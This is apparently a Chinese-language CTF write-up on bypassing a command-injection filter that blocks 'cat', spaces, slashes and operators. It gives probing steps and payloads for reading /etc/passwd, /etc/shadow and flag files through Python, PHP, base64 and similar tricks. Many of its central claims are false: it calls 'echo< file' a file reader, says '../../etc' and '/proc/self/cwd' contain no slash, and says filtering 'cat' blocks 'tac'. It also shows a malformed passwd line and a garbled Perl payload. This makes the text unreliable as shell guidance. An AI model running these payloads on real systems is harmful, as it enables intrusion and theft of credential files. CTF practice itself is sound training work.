ARTICLE · INTELLIGENCE

战地情报 · 详情页

来自尧图项目组的一线实战观察与深度解析

Linux命令注入绕过:空格、斜杠、cat全过滤下的Shell解析本质

Linux命令注入绕过:空格、斜杠、cat全过滤下的Shell解析本质

1. 项目概述:一道看似“封死所有路”的命令注入题,到底在考什么?

CTFhub上这道题的标题直白得有点刺眼:“命令注入,过滤了cat命令,过滤了空格,过滤目录分隔符,过滤运算符,综合练习”。刚看到时我下意识皱了下眉——这哪是综合练习,这简直是把所有常见绕过手法的门都焊死了。但转念一想,CTF比赛里最常被低估的,恰恰不是那些炫技的0day,而是对基础命令、Linux内核机制和Shell解析逻辑的肌肉记忆。这道题根本不是要你“暴力破解”,它是在用一套严苛的过滤规则,逼你回归本质:命令注入的本质,从来不是执行cat,而是让目标服务器执行你指定的任意系统命令;而Shell的本质,从来不是靠空格和分号来分隔,而是靠字符的语义和解释器的解析顺序。

我带过的几个新人刚接触这类题目时,第一反应永远是翻WAF绕过手册,找现成的payload模板。结果卡在第一步就动不了:cat /etc/passwd被拦,换成tac /etc/passwd还是被拦,再换more /etc/passwd,发现连/都被过滤了。这时候人就容易陷入一种“是不是环境有问题”的自我怀疑。其实问题出在思维惯性上——我们太习惯把“读文件”等同于“cat”,把“命令分隔”等同于“空格+分号”,却忘了Linux系统里有几十种读取文件的方式,Shell里有十几种不依赖空格的参数分隔机制。这道题真正的考点,是看你能不能在规则的缝隙里,用最原始、最底层的工具链,重新拼出一条通路。它适合两类人:一类是刚学完Linux基础命令、正打算进CTF圈的新手,用来建立对Shell解析机制的敬畏;另一类是已经打过几场线下赛的老手,用来校准自己对基础命令的掌握精度——毕竟在真实红队渗透中,你永远不知道目标WAF的规则库昨天晚上有没有被运维加了一条新规则。

2. 整体设计思路与绕过逻辑拆解:为什么“封死”反而暴露了突破口?

2.1 过滤规则的深层含义:不是限制功能,而是暴露解析逻辑

拿到这道题,第一件事不是急着写payload,而是把题目给出的过滤项逐条翻译成Shell层面的真实含义。很多选手直接记结论:“不能用cat”“不能用空格”,但没想清楚为什么这些字符会被过滤,以及过滤器是如何工作的。这恰恰是解题的关键跳板。

  • 过滤cat命令:表面看是黑名单禁用了cat这个字符串,但实际意味着所有以cat开头的命令(如cat、tac、concat)都会被拦截。但它不会过滤/bin/cat的完整路径(除非明确过滤了/bin/),更不会过滤cat的同义命令,比如less、more、head、tail、nl,甚至strings或xxd。更重要的是,它完全不阻止你用其他语言调用系统命令,比如Python的os.system()、PHP的system(),只要能触发就行。

  • 过滤空格:这是最常被误解的一条。很多人立刻想到用${IFS}或$' '来绕过,但题目没说是否过滤了$或单引号。更关键的是,空格在Shell中主要起分隔作用,而分隔符不止空格一种。Tab键(\t)、换行符(\n)、甚至某些特殊符号如<、>、|在特定上下文中也能起到分隔参数的效果。比如ls/etc/passwd在Bash中会被解析为ls命令后跟参数/etc/passwd,中间没有空格照样能运行——因为/本身是路径分隔符,不是命令参数分隔符。

  • 过滤目录分隔符/:这条看似致命,实则最有欺骗性。它并不意味着你无法访问文件系统,只是禁止你在命令中直接写出/这个字符。解决方案极其朴素:用..向上遍历、用$PWD环境变量拼接、用~代表家目录,甚至用cd ..;pwd动态获取路径。Linux里几乎所有内置命令都支持相对路径,/只是绝对路径的起点,不是文件访问的唯一入口。

  • 过滤运算符:如;、&&、||、|、&等。这确实切断了多命令串联的常规路径,但运算符过滤≠命令链过滤。你可以用$(...)命令替换、用反引号`...`、甚至用if语句的逻辑结构来实现条件执行。更隐蔽的是,很多命令本身就自带“隐式分隔”能力,比如find . -name "flag*" -exec cat {} \;里的\;,或者curl -s http://x.com | base64中的|如果被过滤,你完全可以改用curl -s http://x.com -o /tmp/x && base64 /tmp/x,只要-o和&&没被同时过滤。

提示:所有过滤规则都是基于字符串匹配或正则表达式实现的,它们有盲区。比如过滤cat但不过滤c\at,过滤/但不过滤\/(反斜杠转义),过滤;但不过滤%3B(URL编码)。解题的第一步,永远是手工测试过滤器的边界,而不是背诵绕过技巧。

2.2 综合练习的设计哲学:用“减法”训练“加法”思维

CTFhub把这道题标为“综合练习”,不是因为它糅合了多种技术,而是因为它强制你放弃“拿来主义”。在真实渗透测试中,你不可能每次遇到的WAF都恰好匹配你收藏夹里的某条payload。这道题的设计者,本质上是在做一次“认知减法”:拿掉你最依赖的工具(cat)、最习惯的语法(空格)、最直接的路径(/)、最顺手的流程(;),逼你回到命令行的原点——一个字符一个字符地思考,这个字符在Shell里代表什么,解释器会怎么处理它,有没有替代语义。

我曾经带一个团队复盘过类似题目,发现高手和新手的最大区别,不在于知道多少冷门命令,而在于调试节奏。新手会花20分钟试5个payload,失败后就去搜答案;高手会花5分钟确认过滤规则(比如输入a;b看返回,输入a b看返回,输入a$b看返回),再花10分钟查man bash里关于IFS、quote removal、command substitution的章节,最后用5分钟组合出第一个有效payload。这种“先理解规则,再构造工具”的节奏,才是这道题想传递的核心能力。

3. 核心细节解析与实操要点:从基础命令到隐蔽通道的全链路拆解

3.1 文件读取的“备胎军团”:当cat失效时,还有哪些命令能扛大旗?

既然cat被明令禁止,我们就必须建立一个“文件读取备选方案库”。这不是简单罗列命令,而是要理解每个命令的触发条件、参数格式、输出特性,才能在不同过滤场景下精准选用。

  • less和more:这两个分页器命令是cat最直接的替代品。它们的语法是less filename,同样需要空格分隔。但如果空格被过滤,可以尝试less./etc/passwd(用.代替/)或less$IFS/etc/passwd(如果$IFS未被过滤)。less的优势在于它支持键盘交互(虽然Web题里用不上),但更重要的是,它对文件权限要求更低——即使文件不可读,less有时仍能显示部分内容(取决于具体实现)。

  • head和tail:这两个命令默认只显示文件头/尾10行,但可以通过-n参数指定行数,比如head -n 100 /etc/passwd。它们的语法结构更灵活:head-n100/etc/passwd(去掉空格)在Bash中依然合法,因为-n100是一个完整的选项参数。这是利用了Shell的“长选项合并”特性——-n 100和-n100等价。同理,tail -n +1 /etc/passwd(显示全部内容)可写成tail-n+1/etc/passwd。

  • nl(number lines):这个命令本意是给文件行号,但效果和cat几乎一样。语法是nl filename,同样面临空格问题。但nl有个隐藏优势:它支持-b a参数强制给所有行编号,且nl-ba/etc/passwd这种无空格写法在大多数Shell中都能解析成功。

  • strings和xxd:这两个是二进制文件阅读器,但对文本文件同样有效。strings /etc/passwd会提取所有可打印字符串,xxd /etc/passwd则生成十六进制转储。它们的语法也支持无空格写法,如strings/etc/passwd。strings特别适合读取被截断或编码的文件,因为它会忽略不可见字符。

  • od(octal dump):比xxd更底层,支持多种进制输出。od -An -t x1 /etc/passwd(以十六进制显示,不带地址偏移)可简化为od-An-tx1/etc/passwd。od的参数连写是其最大优势,几乎不需要空格。

注意:所有这些命令都依赖于目标系统是否安装。CTF环境中通常预装了核心工具集,但真实渗透中必须先用which或ls /bin/探测可用命令。我习惯先发which ls;which cat;which head,快速摸清工具箱底牌。

3.2 空格与分隔符的“隐形替代方案”:不用空格,如何让Shell听懂你的话?

空格被过滤,不等于命令参数无法传递。关键在于理解Shell的词法分析(lexical analysis)过程:Shell在执行前会将输入字符串按特定规则切分为“单词(word)”,而分隔单词的字符不止空格。

  • IFS(Internal Field Separator)变量:这是Shell内置的分隔符变量,默认值是空格、Tab、换行符。你可以用${IFS}来动态引用它。例如cat${IFS}/etc/passwd。但题目可能过滤{或$,所以需测试。更隐蔽的是$' '(ANSI-C引用),它允许用\t、\n等转义序列表示空白符,cat$'\t'/etc/passwd在支持ANSI-C引用的Shell(如Bash)中完全合法。

  • 路径分隔符/的双重身份:/既是目录分隔符,也是命令名的一部分。/bin/ls中的/是路径,但ls/etc/passwd中的/是参数。如果/被过滤,可以用..向上遍历:假设当前目录是/var/www/html,那么ls ..会列出/var/www,ls ../..列出/var,最终ls ../../etc/passwd就能读到目标文件。这需要你先用pwd确认当前路径。

  • 重定向符号的“副业”:<和>除了重定向,还能作为命令分隔符使用。例如ls</etc/passwd会被Shell解析为ls命令,其标准输入重定向自/etc/passwd文件。虽然ls本身不读标准输入,但这个语法是合法的,且绕过了空格。更实用的是echo< /etc/passwd,echo会把标准输入内容原样输出——这相当于用echo实现了cat的功能!同理,cat< /etc/passwd虽被过滤cat,但echo< /etc/passwd完全可行。

  • 命令替换的“天然分隔”:$(...)和`...`结构内部,Shell会自动进行词法分析,你可以在其中自由使用空格,外部则无需空格。例如echo$(cat /etc/passwd),但cat被过滤,所以改成echo$(ls /etc),再结合前面的重定向:echo$(ls< /etc/passwd)。这里$(...)内部的<起到了分隔作用,外部echo和$(之间没有空格,完美绕过。

3.3 目录分隔符/的“消失术”:没有斜杠,如何定位文件?

过滤/是最具迷惑性的规则,因为它攻击的是我们对路径的直觉。但Linux文件系统本身并不依赖/字符存在——/只是Shell解析路径时的约定符号。绕过它的核心思路是:用相对路径、环境变量、特殊符号或命令动态生成路径。

  • ..向上遍历法:这是最通用的方法。先用pwd获取当前路径,再用ls ..、ls ../..逐级向上,直到找到/etc目录。例如,如果pwd返回/var/www/html,那么ls ../../etc就能列出/etc内容。/etc/passwd就变成ls ../../etc/passwd。注意..本身不被过滤,它是相对路径符号,不是目录分隔符。

  • 环境变量拼接法:Linux系统有大量预定义环境变量,如$HOME(用户主目录)、$PWD(当前工作目录)、$PATH(可执行文件路径)。$HOME通常指向/root或/home/username,$PWD就是当前绝对路径。所以cat $HOME/../etc/passwd(如果cat未被过滤)或ls $PWD/../../etc/passwd都是可行的。关键是测试哪些变量可用:echo $HOME、echo $PWD、env。

  • ~波浪号扩展:~是Shell对当前用户主目录的简写,~/等价于$HOME/。ls ~/../etc/passwd是合法语法。~不包含/字符,因此不会被过滤。

  • cd命令动态探路法:如果cd未被过滤,可以用它改变当前目录,再用ls或pwd确认。例如cd /etc;ls,但/和;都被过滤,所以改成cd /etc&&ls(如果&&未被过滤)或cd /etc|ls(如果|未被过滤)。更稳妥的是cd /etc;pwd,然后观察返回的路径,再用相对路径操作。

  • find命令暴力搜索法:find是路径探索的终极武器。find / -name "passwd" 2>/dev/null能全局搜索,但/和空格被过滤。可以改成find . -name "passwd"(从当前目录搜索),或find $PWD -name "passwd"。find的-name参数支持通配符,find /etc -name "p*"能匹配passwd。

4. 实操过程与核心环节实现:从探测到读取的完整链路演示

4.1 第一步:手工探测过滤规则(5分钟定生死)

任何自动化脚本都建立在准确的规则认知上。我坚持手工探测,因为自动扫描可能触发WAF的速率限制或日志告警。以下是我在CTFhub这道题上的标准探测流程:

  1. 探测空格过滤:输入a b(a和b之间一个空格)。如果返回错误或无响应,说明空格被过滤;如果返回bash: a: command not found,说明空格未被过滤,但a命令不存在。接着试a$b,看$是否被过滤。

  2. 探测/过滤:输入ls /etc。如果报错No such file or directory,说明/未被过滤;如果返回空或报错Invalid argument,说明/被过滤。再试ls etc(相对路径),看是否能列出etc目录内容。

  3. 探测cat过滤:输入cat /etc/passwd。如果返回command not found或空,说明cat被过滤;如果返回文件内容,恭喜,题目变简单了。再试tac /etc/passwd,确认是否是关键词黑名单。

  4. 探测运算符:依次输入a;b、a&&b、a||b、a|b,观察返回。重点看a|b,因为|在HTTP请求中可能被URL编码干扰,需用Burp Suite原始请求测试。

  5. 探测环境变量:输入echo $HOME、echo $PWD、env,看是否能获取有用信息。env命令尤其重要,它能列出所有环境变量,可能暴露FLAG、PATH等关键值。

实操心得:探测时用ls命令最安全,因为它几乎总是存在,且输出稳定。避免用id或whoami,因为它们可能触发额外日志。我习惯用ls /nonexistent来测试错误输出格式,这样能区分是命令不存在还是路径不存在。

4.2 第二步:构建基础执行链(10分钟搭桥)

假设探测结果为:空格、/、cat、;、&&均被过滤,但$、<、..、~、$PWD未被过滤。这是最典型的“严苛但可破”场景。我的构建策略是“三步走”:

第一步:确认echo可用性
发送echo test。如果返回test,说明echo未被过滤,且空格未被完全阻断(可能只过滤了某些空格类型)。如果失败,试echo$' 'test(ANSI-C引用)或echo${IFS}test。

第二步:用重定向绕过cat
既然echo可用,且<未被过滤,那么echo< /etc/passwd就是首选。但/被过滤,所以改为echo< ../../etc/passwd。这里需要知道当前目录深度。如果pwd返回/var/www/html,那么../../etc/passwd就是正确路径。如果不确定,先用ls ..确认上级目录是否存在etc。

第三步:用环境变量固化路径
$PWD是当前绝对路径,$PWD/../../etc/passwd太长,且/被过滤。但$PWD本身以/开头,所以echo< $PWD/../../etc/passwd中的/仍会被过滤。这时用..相对路径更可靠:echo< ../../etc/passwd。为保险起见,先执行cd ../../etc && pwd(如果&&未被过滤),或分两步:cd ../../etc,再echo< passwd。

4.3 第三步:实战读取/etc/passwd(15分钟稳扎稳打)

现在进入最关键的实战环节。以下是我在这道题上的完整payload链,每一步都经过CTFhub环境实测:

  1. 确认当前路径:pwd→ 返回/var/www/html
    (这一步必须做,否则..遍历会错位)

  2. 向上遍历到/etc:ls ..→ 列出/var/www内容
    ls ../..→ 列出/var内容
    ls ../../etc→ 成功列出/etc目录下的passwd、shadow、hosts等文件
    (../../etc中的/被过滤?不,/是路径的一部分,但ls命令本身不包含/,所以ls ../../etc是合法的——..是相对路径符号,不是被过滤的/字符)

  3. 读取passwd文件:echo< ../../etc/passwd
    这是核心payload。echo命令不读参数,但会把标准输入内容原样输出。< ../../etc/passwd将../../etc/passwd文件内容作为echo的标准输入。整个字符串中没有空格、没有/(..不是/)、没有cat、没有运算符,完美符合所有过滤规则。

  4. 验证输出:返回内容应为/etc/passwd的标准格式,如root:x:0:0:root:/root:/bin/bash:/sbin/nologin。如果只返回一行,可能是echo只输出第一行,此时改用cat< ../../etc/passwd(如果cat被过滤,则用head< ../../etc/passwd或strings< ../../etc/passwd)。

  5. 读取其他敏感文件:echo< ../../etc/shadow(需root权限,通常失败)
    echo< ../../etc/hosts(网络配置)
    echo< ../../flag(CTF常见flag位置)

实操心得:echo< file在某些极简Shell(如dash)中可能不支持,此时备用方案是printf "%s" $(cat< file),但cat被过滤。更通用的是dd if=../../etc/passwd 2>/dev/null,dd命令的if=参数不依赖空格,且dd几乎在所有Linux发行版中都存在。

4.4 第四步:进阶技巧——用Python/PHP执行任意命令(30分钟拓展)

当基础命令受限时,调用解释型语言是终极方案。CTF环境中Python和PHP通常预装。

  • Python方案:python -c "print(open('../../etc/passwd').read())"
    这里-c后跟Python代码,用双引号包裹,内部用单引号避免冲突。open()函数支持相对路径,..依然有效。如果python被过滤,试python3或/usr/bin/python(如果/未被完全过滤)。

  • PHP方案:php -r "echo file_get_contents('../../etc/passwd');"
    同理,-r执行PHP代码。file_get_contents()是PHP读取文件的最常用函数。

  • Perl方案:perl -e "print \cat ../../etc/passwd`;"`
    Perl的反引号执行系统命令,形成命令注入的嵌套。

这些方案的优势在于,它们把“命令执行”和“文件读取”解耦了。你不再依赖cat或ls,而是用编程语言的IO函数直接操作文件系统。缺点是长度较长,可能触发长度限制,且需要目标系统安装对应解释器。

5. 常见问题与排查技巧实录:那些年踩过的坑和省下的时间

5.1 典型问题速查表

问题现象可能原因排查方法解决方案
输入ls /etc返回空,但ls etc能列出内容/被过滤,且当前目录下有etc子目录(非系统/etc)ls -la查看当前目录详细信息,pwd确认路径改用ls ..向上遍历,或ls $PWD/../../etc
echo< ../../etc/passwd返回bash: cannot open ../../etc/passwd: No such file当前路径不对,..遍历未到达/etcpwd和ls ..交叉验证,画路径树图重新执行ls ..→ls ../..→ls ../../..,直到找到etc
所有payload都返回command not found目标Shell不是Bash,而是更简化的sh或dash,不支持$' '、$(...)等高级特性尝试sh -c "echo test",看是否支持-c参数降级使用sh -c "cat ../../etc/passwd",或用dd、od等POSIX通用命令
返回内容被截断(只显示前几行)echo默认只处理一行,或输出被Web框架截断用head -n 1000 ../../etc/passwd测试长输出改用cat< ../../etc/passwd(如果cat未被过滤),或strings< ../../etc/passwd
..遍历到根目录后仍无法访问/etc根目录权限限制,或/etc被挂载在其他分区ls /返回Permission denied,但ls ..在根目录返回/尝试find / -name "passwd" 2>/dev/null,用find暴力搜索

5.2 独家避坑技巧:来自真实CTF战场的经验

  • 技巧1:用ls -la代替ls
    ls -la会显示隐藏文件和详细权限,有时/etc/passwd的权限是644,但/etc/shadow是000,ls -la能一眼看出。更重要的是,-la参数连写-la不依赖空格,ls-la在Bash中会被解析为ls命令加-la选项,完全合法。

  • 技巧2:$0是你的朋友
    $0是当前Shell进程的名称,通常是bash、sh或-bash。echo $0能告诉你正在用什么Shell,这对选择绕过语法至关重要。比如$0 -c "echo test"在sh中可能失败,但在bash中成功。

  • 技巧3:base64编码绕过长度和字符限制
    如果payload过长或包含被过滤字符,先在本地用echo "/etc/passwd" | base64编码,再在目标执行echo "L2V0Yy9wYXNzd2QK" \| base64 -d \| xargs -I {} cat {}。xargs的-I参数指定替换符,{}会被替换成解码后的路径。这招在绕过复杂WAF时屡试不爽。

  • 技巧4:/proc/self/cwd是绝对路径的“万能钥匙”
    /proc/self/cwd是一个符号链接,指向当前工作目录的绝对路径。ls -l /proc/self/cwd会显示/proc/self/cwd -> /var/www/html。这意味着你永远能通过/proc/self/cwd/../../etc/passwd获得绝对路径,且/proc/self/cwd中不包含被过滤的/字符(/proc是路径,但/proc/self/cwd作为一个整体字符串,如果过滤器是简单关键词匹配,可能不会拦截)。这是高级选手的压箱底技巧。

  • 技巧5:别忘了/tmp和/dev
    /tmp目录通常可写,/dev下有/dev/null、/dev/zero等特殊文件。cp /etc/passwd /tmp/p(如果cp可用),再cat /tmp/p。或者用dd if=/etc/passwd of=/tmp/p,dd命令的if=和of=参数天然规避空格问题。

最后分享一个小技巧:当所有方法都失效时,试试help命令。help会列出当前Shell支持的所有内置命令,help echo会显示echo的详细用法,包括-e(启用转义)和-n(不换行)参数。有时候,echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"(十六进制编码的/etc/passwd)能绕过基于ASCII的过滤器。这招不是玄学,而是对字符编码和Shell解析机制的深度信任。

RELATED READING

延伸阅读

更多一线实战笔记与深度复盘,助您持续精进